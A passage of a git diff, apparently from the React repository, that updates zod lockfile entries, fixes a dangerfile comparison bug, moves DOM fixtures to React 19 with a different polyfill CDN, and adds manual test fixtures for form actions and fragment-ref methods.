+  integrity sha512-/AuWwMP+YqiPbsJx5D6TfgRTc4kTLjsh5SOcd4bLsfUg2RcEXrFMJl1DGgdHy2aCfsIA/cr/1JM0xcB2GZji8g==
 
-zod@^3.22.4:
-  version "3.22.4"
-  resolved "https://registry.yarnpkg.com/zod/-/zod-3.22.4.tgz#f31c3a9386f61b1f228af56faa9255e845cf3fff"
-  integrity sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==
+"zod-validation-error@^3.5.0 || ^4.0.0":
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/zod-validation-error/-/zod-validation-error-4.0.2.tgz#bc605eba49ce0fcd598c127fee1c236be3f22918"
+  integrity sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==
+
+zod@^3.23.8, zod@^3.24.1:
+  version "3.24.3"
+  resolved "https://registry.npmjs.org/zod/-/zod-3.24.3.tgz"
+  integrity sha512-HhY1oqzWCQWuUqvBFnsyrtZRhyPeR7SUGv+C4+MsisMuVfSPx8HpwWqH8tRahSlt6M3PiFAcoeFhZAqIXTxoSg==
+
+"zod@^3.25.0 || ^4.0.0":
+  version "4.1.12"
+  resolved "https://registry.yarnpkg.com/zod/-/zod-4.1.12.tgz#64f1ea53d00eab91853195653b5af9eee68970f0"
+  integrity sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==
diff --git a/dangerfile.js b/dangerfile.js
index c01fa31969de..d60da35b586f 100644
--- a/dangerfile.js
+++ b/dangerfile.js
@@ -70,7 +70,7 @@ const percentFormatter = new Intl.NumberFormat('en', {
 });
 
 function change(decimal) {
-  if (Number === Infinity) {
+  if (decimal === Infinity) {
     return 'New file';
   }
   if (decimal === -1) {
@@ -274,7 +274,7 @@ ${significantResults.join('\n')}
     writeFileSync('sizebot-message.md', message);
     markdown(
       'The size diff is too large to display in a single comment. ' +
-        `The [CircleCI job](${process.env.CIRCLE_BUILD_URL}) contains an artifact called 'sizebot-message.md' with the full message.`
+        `The GitHub action for this pull request contains an artifact called 'sizebot-message.md' with the full message.`
     );
   } else {
     markdown(message);
diff --git a/fixtures/dom/package.json b/fixtures/dom/package.json
index 5f3333fff3b8..d71dbe3ffae5 100644
--- a/fixtures/dom/package.json
+++ b/fixtures/dom/package.json
@@ -14,13 +14,13 @@
     "jest-diff": "^29.4.1",
     "prop-types": "^15.6.0",
     "query-string": "^4.2.3",
-    "react": "^15.4.1",
-    "react-dom": "^15.4.1",
+    "react": "^19.0.0",
+    "react-dom": "^19.0.0",
     "semver": "^5.5.0"
   },
   "scripts": {
     "dev": "react-scripts start",
-    "predev": "cp -a ../../build/oss-stable/. node_modules",
+    "predev": "cp -a ../../build/oss-experimental/. node_modules",
     "build": "react-scripts build && cp build/index.html build/200.html",
     "test": "react-scripts test --env=jsdom",
     "eject": "react-scripts eject"
diff --git a/fixtures/dom/public/renderer.html b/fixtures/dom/public/renderer.html
index 3852dd952f2b..83abba28c031 100644
--- a/fixtures/dom/public/renderer.html
+++ b/fixtures/dom/public/renderer.html
@@ -80,7 +80,7 @@
 
     <div id="output"></div>
 
-    <script src="https://cdn.polyfill.io/v2/polyfill.min.js"></script>
+    <script src="https://cdnjs.cloudflare.com/polyfill/v2/polyfill.min.js"></script>
     <script src="renderer.js"></script>
   </body>
 </html>
diff --git a/fixtures/dom/src/__tests__/nested-act-test.js b/fixtures/dom/src/__tests__/nested-act-test.js
index 6c7f60c2e2f1..4a26e272cb37 100644
--- a/fixtures/dom/src/__tests__/nested-act-test.js
+++ b/fixtures/dom/src/__tests__/nested-act-test.js
@@ -14,8 +14,6 @@ let TestAct;
 
 global.__DEV__ = process.env.NODE_ENV !== 'production';
 
-expect.extend(require('../toWarnDev'));
-
 describe('unmocked scheduler', () => {
   beforeEach(() => {
     jest.resetModules();
diff --git a/fixtures/dom/src/components/Fixture.js b/fixtures/dom/src/components/Fixture.js
index 3643a65c3675..7fa303a3f2f1 100644
--- a/fixtures/dom/src/components/Fixture.js
+++ b/fixtures/dom/src/components/Fixture.js
@@ -16,3 +16,7 @@ class Fixture extends React.Component {
 Fixture.propTypes = propTypes;
 
 export default Fixture;
+
+Fixture.Controls = function FixtureControls({children}) {
+  return <div className="test-fixture__controls">{children}</div>;
+};
diff --git a/fixtures/dom/src/components/Header.js b/fixtures/dom/src/components/Header.js
index fe9709af0031..1474d8053365 100644
--- a/fixtures/dom/src/components/Header.js
+++ b/fixtures/dom/src/components/Header.js
@@ -88,7 +88,9 @@ class Header extends React.Component {
                 <option value="/mouse-events">Mouse Events</option>
                 <option value="/selection-events">Selection Events</option>
                 <option value="/suspense">Suspense</option>
+                <option value="/form-actions">Form Actions</option>
                 <option value="/form-state">Form State</option>
+                <option value="/fragment-refs">Fragment Refs</option>
               </select>
             </label>
             <label htmlFor="global_version">
diff --git a/fixtures/dom/src/components/fixtures/form-actions/index.js b/fixtures/dom/src/components/fixtures/form-actions/index.js
new file mode 100644
index 000000000000..eace38ba46be
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/form-actions/index.js
@@ -0,0 +1,113 @@
+const React = window.React;
+
+const {useState} = React;
+
+async function defer(timeoutMS) {
+  return new Promise(resolve => {
+    setTimeout(resolve, timeoutMS);
+  });
+}
+
+export default function FormActions() {
+  const [textValue, setTextValue] = useState('0');
+  const [radioValue, setRadioValue] = useState('two');
+  const [checkboxValue, setCheckboxValue] = useState([false, true, true]);
+  const [selectValue, setSelectValue] = useState('three');
+
+  return (
+    <form
+      action={async () => {
+        await defer(500);
+      }}
+      onReset={() => {
+        setTextValue('0');
+        setRadioValue('two');
+        setCheckboxValue([false, true, true]);
+        setSelectValue('three');
+      }}>
+      <div style={{display: 'flex'}}>
+        <fieldset style={{flexBasis: 0}}>
+          <legend>type="text"</legend>
+          <input
+            type="text"
+            name="text"
+            value={textValue}
+            onChange={event => setTextValue(event.currentTarget.value)}
+          />
+        </fieldset>
+        <fieldset style={{flexBasis: 0}}>
+          <legend>type="radio"</legend>
+          <input
+            type="radio"
+            name="radio"
+            value="one"
+            checked={radioValue === 'one'}
+            onChange={() => setRadioValue('one')}
+          />
+          <input
+            type="radio"
+            name="radio"
+            value="two"
+            checked={radioValue === 'two'}
+            onChange={() => setRadioValue('two')}
+          />
+          <input
+            type="radio"
+            name="radio"
+            value="three"
+            checked={radioValue === 'three'}
+            onChange={() => setRadioValue('three')}
+          />
+        </fieldset>
+        <fieldset style={{flexBasis: 0}}>
+          <legend>type="checkbox"</legend>
+          <input
+            type="checkbox"
+            name="checkbox"
+            value="one"
+            checked={checkboxValue[0]}
+            onChange={event => {
+              const checked = event.currentTarget.checked;
+              setCheckboxValue(pending => [checked, pending[1], pending[2]]);
+            }}
+          />
+          <input
+            type="checkbox"
+            name="checkbox"
+            value="two"
+            checked={checkboxValue[1]}
+            onChange={event => {
+              const checked = event.currentTarget.checked;
+              setCheckboxValue(pending => [pending[0], checked, pending[2]]);
+            }}
+          />
+          <input
+            type="checkbox"
+            name="checkbox"
+            value="three"
+            checked={checkboxValue[2]}
+            onChange={event => {
+              const checked = event.currentTarget.checked;
+              setCheckboxValue(pending => [pending[0], pending[1], checked]);
+            }}
+          />
+        </fieldset>
+        <fieldset style={{flexBasis: 0}}>
+          <legend>select</legend>
+          <select
+            name="select"
+            value={selectValue}
+            onChange={event => setSelectValue(event.currentTarget.value)}>
+            <option value="one">one</option>
+            <option value="two">two</option>
+            <option value="three">three</option>
+          </select>
+        </fieldset>
+      </div>
+      <div>
+        <input type="reset" />
+        <input type="submit" />
+      </div>
+    </form>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionCase.js
new file mode 100644
index 000000000000..aada4e33fa4e
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionCase.js
@@ -0,0 +1,53 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+import CompareDocumentPositionFragmentContainer from './CompareDocumentPositionFragmentContainer';
+
+const React = window.React;
+
+export default function CompareDocumentPositionCase() {
+  return (
+    <TestCase title="compareDocumentPosition">
+      <TestCase.Steps>
+        <li>Click the "Compare All Positions" button</li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        The compareDocumentPosition method compares the position of the fragment
+        relative to other elements in the DOM. The "Before Element" should be
+        PRECEDING the fragment, and the "After Element" should be FOLLOWING.
+        Elements inside the fragment should be CONTAINED_BY.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <CompareDocumentPositionFragmentContainer>
+            <div
+              style={{
+                padding: '10px',
+                backgroundColor: 'lightblue',
+                borderRadius: '4px',
+                marginBottom: '8px',
+              }}>
+              First child element
+            </div>
+            <div
+              style={{
+                padding: '10px',
+                backgroundColor: 'lightgreen',
+                borderRadius: '4px',
+                marginBottom: '8px',
+              }}>
+              Second child element
+            </div>
+            <div
+              style={{
+                padding: '10px',
+                backgroundColor: 'lightpink',
+                borderRadius: '4px',
+              }}>
+              Third child element
+            </div>
+          </CompareDocumentPositionFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionFragmentContainer.js b/fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionFragmentContainer.js
new file mode 100644
index 000000000000..380bed49cb41
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/CompareDocumentPositionFragmentContainer.js
@@ -0,0 +1,246 @@
+const React = window.React;
+const {Fragment, useRef, useState} = React;
+
+const POSITION_FLAGS = {
+  DISCONNECTED: 0x01,
+  PRECEDING: 0x02,
+  FOLLOWING: 0x04,
+  CONTAINS: 0x08,
+  CONTAINED_BY: 0x10,
+  IMPLEMENTATION_SPECIFIC: 0x20,
+};
+
+function getPositionDescription(bitmask) {
+  const flags = [];
+  if (bitmask & POSITION_FLAGS.DISCONNECTED) flags.push('DISCONNECTED');
+  if (bitmask & POSITION_FLAGS.PRECEDING) flags.push('PRECEDING');
+  if (bitmask & POSITION_FLAGS.FOLLOWING) flags.push('FOLLOWING');
+  if (bitmask & POSITION_FLAGS.CONTAINS) flags.push('CONTAINS');
+  if (bitmask & POSITION_FLAGS.CONTAINED_BY) flags.push('CONTAINED_BY');
+  if (bitmask & POSITION_FLAGS.IMPLEMENTATION_SPECIFIC)
+    flags.push('IMPLEMENTATION_SPECIFIC');
+  return flags.length > 0 ? flags.join(' | ') : 'SAME';
+}
+
+function ResultRow({label, result, color}) {
+  if (!result) return null;
+
+  return (
+    <div
+      style={{
+        padding: '10px 14px',
+        marginBottom: '8px',
+        backgroundColor: '#f8f9fa',
+        borderLeft: `4px solid ${color}`,
+        borderRadius: '4px',
+      }}>
+      <div
+        style={{
+          fontWeight: 'bold',
+          marginBottom: '6px',
+          color: '#333',
+        }}>
+        {label}
+      </div>
+      <div
+        style={{
+          display: 'grid',
+          gridTemplateColumns: 'auto 1fr',
+          gap: '4px 12px',
+          fontSize: '13px',
+          fontFamily: 'monospace',
+        }}>
+        <span style={{color: '#666'}}>Raw value:</span>
+        <span style={{color: '#333'}}>{result.raw}</span>
+        <span style={{color: '#666'}}>Flags:</span>
+        <span style={{color: color, fontWeight: 500}}>
+          {getPositionDescription(result.raw)}
+        </span>
+      </div>
+    </div>
+  );
+}
+
+export default function CompareDocumentPositionFragmentContainer({children}) {
+  const fragmentRef = useRef(null);
+  const beforeRef = useRef(null);
+  const afterRef = useRef(null);
+  const insideRef = useRef(null);
+  const [results, setResults] = useState(null);
+
+  const compareAll = () => {
+    const fragment = fragmentRef.current;
+    const beforePos = fragment.compareDocumentPosition(beforeRef.current);
+    const afterPos = fragment.compareDocumentPosition(afterRef.current);
+    const insidePos = insideRef.current
+      ? fragment.compareDocumentPosition(insideRef.current)
+      : null;
+
+    setResults({
+      before: {raw: beforePos},
+      after: {raw: afterPos},
+      inside: insidePos !== null ? {raw: insidePos} : null,
+    });
+  };
+
+  return (
+    <Fragment>
+      <div style={{marginBottom: '16px'}}>
+        <button
+          onClick={compareAll}
+          style={{
+            padding: '8px 16px',
+            fontSize: '14px',
+            fontWeight: 'bold',
+            cursor: 'pointer',
+          }}>
+          Compare All Positions
+        </button>
+        {results && (
+          <span style={{marginLeft: '12px', color: '#666'}}>
+            Comparison complete
+          </span>
+        )}
+      </div>
+
+      <div style={{display: 'flex', gap: '24px'}}>
+        <div style={{flex: '0 0 300px'}}>
+          <div
+            style={{
+              padding: '16px',
+              backgroundColor: '#f0f0f0',
+              borderRadius: '8px',
+            }}>
+            <div
+              ref={beforeRef}
+              style={{
+                padding: '12px',
+                backgroundColor: '#d4edda',
+                border: '2px solid #28a745',
+                borderRadius: '4px',
+                marginBottom: '12px',
+                textAlign: 'center',
+                fontWeight: 'bold',
+                color: '#155724',
+              }}>
+              Before Element
+            </div>
+
+            <div
+              style={{
+                padding: '12px',
+                backgroundColor: '#fff3cd',
+                border: '2px dashed #ffc107',
+                borderRadius: '4px',
+                marginBottom: '12px',
+              }}>
+              <div
+                style={{
+                  fontSize: '11px',
+                  color: '#856404',
+                  marginBottom: '8px',
+                  fontWeight: 'bold',
+                }}>
+                FRAGMENT
+              </div>
+              <div ref={insideRef}>
+                <Fragment ref={fragmentRef}>{children}</Fragment>
+              </div>
+            </div>
+
+            <div
+              ref={afterRef}
+              style={{
+                padding: '12px',
+                backgroundColor: '#f8d7da',
+                border: '2px solid #dc3545',
+                borderRadius: '4px',
+                textAlign: 'center',
+                fontWeight: 'bold',
+                color: '#721c24',
+              }}>
+              After Element
+            </div>
+          </div>
+        </div>
+
+        <div style={{flex: 1}}>
+          <div
+            style={{
+              fontSize: '14px',
+              fontWeight: 'bold',
+              marginBottom: '12px',
+              color: '#333',
+            }}>
+            Comparison Results
+          </div>
+
+          {!results && (
+            <div
+              style={{
+                padding: '20px',
+                backgroundColor: '#f8f9fa',
+                borderRadius: '4px',
+                color: '#666',
+                textAlign: 'center',
+              }}>
+              Click "Compare All Positions" to see results
+            </div>
+          )}
+
+          {results && (
+            <Fragment>
+              <ResultRow
+                label='vs "Before Element"'
+                result={results.before}
+                color="#28a745"
+              />
+              <ResultRow
+                label='vs "After Element"'
+                result={results.after}
+                color="#dc3545"
+              />
+              {results.inside && (
+                <ResultRow
+                  label='vs "Inside Element"'
+                  result={results.inside}
+                  color="#ffc107"
+                />
+              )}
+
+              <div
+                style={{
+                  marginTop: '16px',
+                  padding: '12px',
+                  backgroundColor: '#e7f3ff',
+                  borderRadius: '4px',
+                  fontSize: '12px',
+                  color: '#0c5460',
+                }}>
+                <strong>Flag Reference:</strong>
+                <div
+                  style={{
+                    marginTop: '8px',
+                    display: 'grid',
+                    gridTemplateColumns: 'auto 1fr',
+                    gap: '2px 12px',
+                  }}>
+                  <code>0x01</code>
+                  <span>DISCONNECTED</span>
+                  <code>0x02</code>
+                  <span>PRECEDING (other is before fragment)</span>
+                  <code>0x04</code>
+                  <span>FOLLOWING (other is after fragment)</span>
+                  <code>0x08</code>
+                  <span>CONTAINS (other contains fragment)</span>
+                  <code>0x10</code>
+                  <span>CONTAINED_BY (other is inside fragment)</span>
+                </div>
+              </div>
+            </Fragment>
+          )}
+        </div>
+      </div>
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/EventDispatchCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/EventDispatchCase.js
new file mode 100644
index 000000000000..ef5a95902133
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/EventDispatchCase.js
@@ -0,0 +1,157 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+
+const React = window.React;
+const {Fragment, useRef, useState} = React;
+
+function WrapperComponent(props) {
+  return props.children;
+}
+
+const initialState = {
+  child: false,
+  parent: false,
+  grandparent: false,
+};
+
+export default function EventListenerCase() {
+  const fragmentRef = useRef(null);
+  const [clickedState, setClickedState] = useState({...initialState});
+  const [fragmentEventFired, setFragmentEventFired] = useState(false);
+  const [bubblesState, setBubblesState] = useState(true);
+
+  function setClick(id) {
+    setClickedState(prev => ({...prev, [id]: true}));
+  }
+
+  function fragmentClickHandler(e) {
+    setFragmentEventFired(true);
+  }
+
+  return (
+    <TestCase title="Event Dispatch">
+      <TestCase.Steps>
+        <li>
+          Each box has regular click handlers, you can click each one to observe
+          the status changing through standard bubbling.
+        </li>
+        <li>Clear the clicked state</li>
+        <li>
+          Click the "Dispatch click event" button to dispatch a click event on
+          the Fragment. The event will be dispatched on the Fragment's parent,
+          so the child will not change state.
+        </li>
+        <li>
+          Click the "Add event listener" button to add a click event listener on
+          the Fragment. This registers a handler that will turn the child blue
+          on click.
+        </li>
+        <li>
+          Now click the "Dispatch click event" button again. You can see that it
+          will fire the Fragment's event handler in addition to bubbling the
+          click from the parent.
+        </li>
+        <li>
+          If you turn off bubbling, only the Fragment's event handler will be
+          called.
+        </li>
+      </TestCase.Steps>
+
+      <TestCase.ExpectedResult>
+        <p>
+          Dispatching an event on a Fragment will forward the dispatch to its
+          parent for the standard case. You can observe when dispatching that
+          the parent handler is called in additional to bubbling from there. A
+          delay is added to make the bubbling more clear.{' '}
+        </p>
+        <p>
+          When there have been event handlers added to the Fragment, the
+          Fragment's event handler will be called in addition to bubbling from
+          the parent. Without bubbling, only the Fragment's event handler will
+          be called.
+        </p>
+      </TestCase.ExpectedResult>
+
+      <Fixture>
+        <Fixture.Controls>
+          <select
+            value={bubblesState ? 'true' : 'false'}
+            onChange={e => {
+              setBubblesState(e.target.value === 'true');
+            }}>
+            <option value="true">Bubbles: true</option>
+            <option value="false">Bubbles: false</option>
+          </select>
+          <button
+            onClick={() => {
+              fragmentRef.current.dispatchEvent(
+                new MouseEvent('click', {bubbles: bubblesState})
+              );
+            }}>
+            Dispatch click event
+          </button>
+          <button
+            onClick={() => {
+              setClickedState({...initialState});
+              setFragmentEventFired(false);
+            }}>
+            Reset clicked state
+          </button>
+          <button
+            onClick={() => {
+              fragmentRef.current.addEventListener(
+                'click',
+                fragmentClickHandler
+              );
+            }}>
+            Add event listener
+          </button>
+          <button
+            onClick={() => {
+              fragmentRef.current.removeEventListener(
+                'click',
+                fragmentClickHandler
+              );
+            }}>
+            Remove event listener
+          </button>
+        </Fixture.Controls>
+        <div
+          id="grandparent"
+          onClick={e => {
+            setTimeout(() => {
+              setClick('grandparent');
+            }, 200);
+          }}
+          className="card">
+          Fragment grandparent - clicked:{' '}
+          {clickedState.grandparent ? 'true' : 'false'}
+          <div
+            id="parent"
+            onClick={e => {
+              setTimeout(() => {
+                setClick('parent');
+              }, 100);
+            }}
+            className="card">
+            Fragment parent - clicked: {clickedState.parent ? 'true' : 'false'}
+            <Fragment ref={fragmentRef}>
+              <div
+                style={{
+                  backgroundColor: fragmentEventFired ? 'lightblue' : 'inherit',
+                }}
+                id="child"
+                className="card"
+                onClick={e => {
+                  setClick('child');
+                }}>
+                Fragment child - clicked:{' '}
+                {clickedState.child ? 'true' : 'false'}
+              </div>
+            </Fragment>
+          </div>
+        </div>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/EventFragmentContainer.js b/fixtures/dom/src/components/fixtures/fragment-refs/EventFragmentContainer.js
new file mode 100644
index 000000000000..33c99390a4da
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/EventFragmentContainer.js
@@ -0,0 +1,112 @@
+const React = window.React;
+const {Fragment, useRef, useState} = React;
+
+export default function EventFragmentContainer({children}) {
+  const fragmentRef = useRef(null);
+  const [eventLog, setEventLog] = useState([]);
+  const [listenerAdded, setListenerAdded] = useState(false);
+  const [bubblesState, setBubblesState] = useState(true);
+
+  const logEvent = message => {
+    setEventLog(prev => [...prev, message]);
+  };
+
+  const fragmentClickHandler = () => {
+    logEvent('Fragment event listener fired');
+  };
+
+  const addListener = () => {
+    fragmentRef.current.addEventListener('click', fragmentClickHandler);
+    setListenerAdded(true);
+    logEvent('Added click listener to fragment');
+  };
+
+  const removeListener = () => {
+    fragmentRef.current.removeEventListener('click', fragmentClickHandler);
+    setListenerAdded(false);
+    logEvent('Removed click listener from fragment');
+  };
+
+  const dispatchClick = () => {
+    fragmentRef.current.dispatchEvent(
+      new MouseEvent('click', {bubbles: bubblesState})
+    );
+    logEvent(`Dispatched click event (bubbles: ${bubblesState})`);
+  };
+
+  const clearLog = () => {
+    setEventLog([]);
+  };
+
+  return (
+    <Fragment>
+      <div
+        style={{
+          marginBottom: '16px',
+          display: 'flex',
+          gap: '8px',
+          flexWrap: 'wrap',
+          alignItems: 'center',
+        }}>
+        <select
+          value={bubblesState ? 'true' : 'false'}
+          onChange={e => setBubblesState(e.target.value === 'true')}
+          style={{padding: '6px 10px'}}>
+          <option value="true">Bubbles: true</option>
+          <option value="false">Bubbles: false</option>
+        </select>
+        <button onClick={dispatchClick} style={{padding: '6px 12px'}}>
+          Dispatch click event
+        </button>
+        <button
+          onClick={addListener}
+          disabled={listenerAdded}
+          style={{padding: '6px 12px'}}>
+          Add event listener
+        </button>
+        <button
+          onClick={removeListener}
+          disabled={!listenerAdded}
+          style={{padding: '6px 12px'}}>
+          Remove event listener
+        </button>
+        <button onClick={clearLog} style={{padding: '6px 12px'}}>
+          Clear log
+        </button>
+      </div>
+
+      <div
+        onClick={() => logEvent('Parent div clicked')}
+        style={{
+          padding: '12px',
+          border: '1px dashed #ccc',
+          borderRadius: '4px',
+          backgroundColor: '#fff',
+        }}>
+        <Fragment ref={fragmentRef}>{children}</Fragment>
+      </div>
+
+      {eventLog.length > 0 && (
+        <div
+          style={{
+            marginTop: '12px',
+            padding: '10px',
+            backgroundColor: '#f5f5f5',
+            border: '1px solid #ddd',
+            borderRadius: '4px',
+            maxHeight: '150px',
+            overflow: 'auto',
+            fontFamily: 'monospace',
+            fontSize: '13px',
+          }}>
+          <strong>Event Log:</strong>
+          <ul style={{margin: '5px 0', paddingLeft: '20px'}}>
+            {eventLog.map((msg, i) => (
+              <li key={i}>{msg}</li>
+            ))}
+          </ul>
+        </div>
+      )}
+    </Fragment>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/EventListenerCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/EventListenerCase.js
new file mode 100644
index 000000000000..a6e32422bc25
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/EventListenerCase.js
@@ -0,0 +1,74 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+import EventFragmentContainer from './EventFragmentContainer';
+
+const React = window.React;
+const {useState} = React;
+
+function WrapperComponent(props) {
+  return props.children;
+}
+
+export default function EventListenerCase() {
+  const [extraChildCount, setExtraChildCount] = useState(0);
+
+  return (
+    <TestCase title="Event Registration">
+      <TestCase.Steps>
+        <li>
+          Click "Add event listener" to attach a click handler to the fragment
+        </li>
+        <li>Click "Dispatch click event" to dispatch a click event</li>
+        <li>Observe the event log showing the event fired</li>
+        <li>Add a new child, dispatch again to see it still works</li>
+        <li>
+          Click "Remove event listener" and dispatch again to see no event fires
+        </li>
+      </TestCase.Steps>
+
+      <TestCase.ExpectedResult>
+        <p>
+          Fragment refs can manage event listeners on the first level of host
+          children. The event log shows when events are dispatched and handled.
+        </p>
+        <p>
+          New child nodes will also have event listeners applied. Removed nodes
+          will have their listeners cleaned up.
+        </p>
+      </TestCase.ExpectedResult>
+
+      <Fixture>
+        <Fixture.Controls>
+          <div style={{marginBottom: '10px'}}>
+            Target count: {extraChildCount + 3}
+            <button
+              onClick={() => {
+                setExtraChildCount(prev => prev + 1);
+              }}
+              style={{marginLeft: '10px'}}>
+              Add Child
+            </button>
+          </div>
+          <EventFragmentContainer>
+            <div className="card" id="child-a">
+              Child A
+            </div>
+            <div className="card" id="child-b">
+              Child B
+            </div>
+            <WrapperComponent>
+              <div className="card" id="child-c">
+                Child C
+              </div>
+              {Array.from({length: extraChildCount}).map((_, index) => (
+                <div className="card" id={'extra-child-' + index} key={index}>
+                  Extra Child {index}
+                </div>
+              ))}
+            </WrapperComponent>
+          </EventFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/FocusCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/FocusCase.js
new file mode 100644
index 000000000000..efd9157b4a5c
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/FocusCase.js
@@ -0,0 +1,63 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+
+const React = window.React;
+
+const {Fragment, useRef} = React;
+
+export default function FocusCase() {
+  const fragmentRef = useRef(null);
+
+  return (
+    <TestCase title="Focus Management">
+      <TestCase.Steps>
+        <li>Click to focus the first child</li>
+        <li>Click to focus the last child</li>
+        <li>Click to blur any focus within the fragment</li>
+      </TestCase.Steps>
+
+      <TestCase.ExpectedResult>
+        <p>
+          The focus method will focus the first focusable child within the
+          fragment, skipping any unfocusable children.
+        </p>
+        <p>
+          The focusLast method is the reverse, focusing the last focusable
+          child.
+        </p>
+        <p>
+          Blur will call blur on the document, only if one of the children
+          within the fragment is the active element.
+        </p>
+      </TestCase.ExpectedResult>
+
+      <Fixture>
+        <Fixture.Controls>
+          <button onClick={() => fragmentRef.current.focus()}>
+            Focus first child
+          </button>
+          <button onClick={() => fragmentRef.current.focusLast()}>
+            Focus last child
+          </button>
+          <button onClick={() => fragmentRef.current.blur()}>Blur</button>
+        </Fixture.Controls>
+        <div className="highlight-focused-children" style={{display: 'flex'}}>
+          <Fragment ref={fragmentRef}>
+            <div style={{outline: '1px solid black'}}>
+              <p>Unfocusable div</p>
+            </div>
+            <div style={{outline: '1px solid black'}}>
+              <p>Unfocusable div with nested focusable button</p>
+              <button>Button 1</button>
+            </div>
+            <button>Button 2</button>
+            <input type="text" placeholder="Input field" />
+            <div style={{outline: '1px solid black'}}>
+              <p>Unfocusable div</p>
+            </div>
+          </Fragment>
+        </div>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/GetClientRectsCase.js b/fixtures/dom/src/components/fixtures/fragment-refs/GetClientRectsCase.js
new file mode 100644
index 000000000000..4d9b2803dde0
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/GetClientRectsCase.js
@@ -0,0 +1,54 @@
+import TestCase from '../../TestCase';
+import Fixture from '../../Fixture';
+import PrintRectsFragmentContainer from './PrintRectsFragmentContainer';
+
+const React = window.React;
+
+export default function GetClientRectsCase() {
+  return (
+    <TestCase title="getClientRects">
+      <TestCase.Steps>
+        <li>
+          Click the "Print Rects" button to get the client rects of the
+          elements.
+        </li>
+      </TestCase.Steps>
+      <TestCase.ExpectedResult>
+        Calling getClientRects on the fragment instance will return a list of a
+        DOMRectList for each child node.
+      </TestCase.ExpectedResult>
+      <Fixture>
+        <Fixture.Controls>
+          <PrintRectsFragmentContainer>
+            <span
+              style={{
+                width: '300px',
+                height: '250px',
+                backgroundColor: 'lightblue',
+                fontSize: 20,
+                border: '1px solid black',
+                marginBottom: '10px',
+              }}>
+              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do
+              eiusmod tempor incididunt ut labore et dolore magna aliqua.
+            </span>
+            <div
+              style={{
+                width: '150px',
+                height: '100px',
+                backgroundColor: 'lightgreen',
+                border: '1px solid black',
+              }}></div>
+            <div
+              style={{
+                width: '500px',
+                height: '50px',
+                backgroundColor: 'lightpink',
+                border: '1px solid black',
+              }}></div>
+          </PrintRectsFragmentContainer>
+        </Fixture.Controls>
+      </Fixture>
+    </TestCase>
+  );
+}
diff --git a/fixtures/dom/src/components/fixtures/fragment-refs/GetRootNodeFragmentContainer.js b/fixtures/dom/src/components/fixtures/fragment-refs/GetRootNodeFragmentContainer.js
new file mode 100644
index 000000000000..01244b3c87a2
--- /dev/null
+++ b/fixtures/dom/src/components/fixtures/fragment-refs/GetRootNodeFragmentContainer.js
@@ -0,0 +1,79 @@
+const React = window.React;
+const {Fragment, useRef, useState} = React;
+
+export default function GetRootNodeFragmentContainer({children}) {
+  const fragmentRef = useRef(null);
+  const [rootNodeInfo, setRootNodeInfo] = useState(null);
+
+  const getRootNodeInfo = () => {
+    const rootNode = fragmentRef.current.getRootNode();
+    setRootNodeInfo({
+      nodeName: rootNode.nodeName,
+      nodeType: rootNode.nodeType,
+      nodeTypeLabel: getNodeTypeLabel(rootNode.nodeType),
+      isDocument: rootNode === document,
+    });
+  };
+
+  const getNodeTypeLabel = nodeType => {
+    const types = {
+      1: 'ELEMENT_NODE',
+      3: 'TEXT_NODE',
+      9: 'DOCUMENT_NODE',
+      11: 'DOCUMENT_FRAGMENT_NODE',
+    };
+    return types[nodeType] || `UNKNOWN (${nodeType})`;
+  };
+
+  return (
+    <Fragment>
+      <div style={{marginBottom: '16px'}}>
+        <button
+          onClick={getRootNodeInfo}
+          style={{
+            padding: '8px 16px',
+            fontSize: '14px',
+            fontWeight: 'bold',
+            cursor: 'pointer',
+          }}>
+          Get Root Node
+        </button>
+      </div>
+
+      {rootNodeInfo && (
+        <div
+          style={{
+            marginBottom: '16px',
+            padding: '12px',
+            backgroundColor: '#e8f4e8',
+            border: '1px solid #9c9',
+            borderRadius: '4px',
+            fontFamily: 'monospace',
+            fontSize: '13px',
+          }}>
